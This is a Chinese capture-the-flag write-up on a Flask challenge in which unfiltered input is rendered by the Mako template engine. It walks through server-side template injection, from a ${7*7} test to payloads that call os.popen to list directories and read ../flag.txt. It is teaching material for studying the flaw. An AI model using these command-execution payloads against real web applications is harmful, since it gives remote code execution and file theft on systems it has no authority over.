题目描述
(有附件)
解题
观察
打开网站:
输入 “abc“ 会看到:
然后我们来查看代码(routes.py):
1 | from flask import Blueprint, request |
可以看到网页会将我们的输入经过 sppokify()
函数转换一下再进行输出。
所以我们接着来查看 util.py :
1 | from mako.template import Template |
可以看到定义了4种字体以及输出的页面格式。change_font() 和 spookify() 则负责转换字体。
假设我们输入了 ”input“,那么服务器按照以下流程来处理我们的输入:
接收我们的输入并赋值给 text:
1
text = request.args.get('text')
调用 spookify(text):
1
converted = spookify(text)
1
2
3def spookify(text):
converted_fonts = change_font(text_list=text)
return generate_render(converted_fonts=converted_fonts)
最后再利用 generate_render() 创建模板:
1
2
3
4
5
6
7
8
9def generate_render(converted_fonts):
result = '''
<tr><td>{0}</td></tr>
<tr><td>{1}</td></tr>
<tr><td>{2}</td></tr>
<tr><td>{3}</td></tr>
'''.format(*converted_fonts)
return Template(result).render()
注意,因为 font4 完全不会修改我们输入的内容,所以我们输入的所以内容(包括各种特殊符号)都会保留下来并被渲染进 {3} 的位置。
漏洞+渗透
这道题主要考察的是 Template Injection(模板注入)
:
模板注入是指攻击者将恶意代码注入到模板引擎中,使模板引擎在渲染时执行攻击者控制的表达式,造成信息泄露、RCE(远程代码执行)等后果。
漏洞主要由这几部分一起构成:
没有对输入内容进行过滤;
font4会保留我们的所有输入内容
使用 Template(…).render() 动态渲染字符串模板
Mako里刚好有表达式语法:
1
${}
所以导致我们输入
1 | ${7*7} |
时,mako会在渲染这部分内容
1 | <tr><td>{0}</td></tr> |
时,执行我们的代码,即 ${7*7}。所以最后的渲染结果是:
1 | <tr><td>49</td></tr> |
这样子就我们说明注入成功了,接下来就是考虑如何读取flag了。
因为Mako 的底层代码会把 ${ } 表达式里的内容编译成 Python 代码,然后直接执行。所以我们直接注入python代码即可。
首先尝试
1 | ${__import__('os').popen('ls').read()} |
其中
1 | .popen('ls') |
会执行 ls 命令(默认是当前工作目录),而
1 | .read() |
会把命令输出读取成字符串。
可以看到
意味着当前目录下没有flag。我们接着查看上一级目录里的内容:
1 | ${__import__('os').popen('ls ..').read()} |
成功找到 flag.txt 文件。最后直接读取就好:
1 | ${__import__('os').popen('cat ../flag.txt').read()} |
得到flag: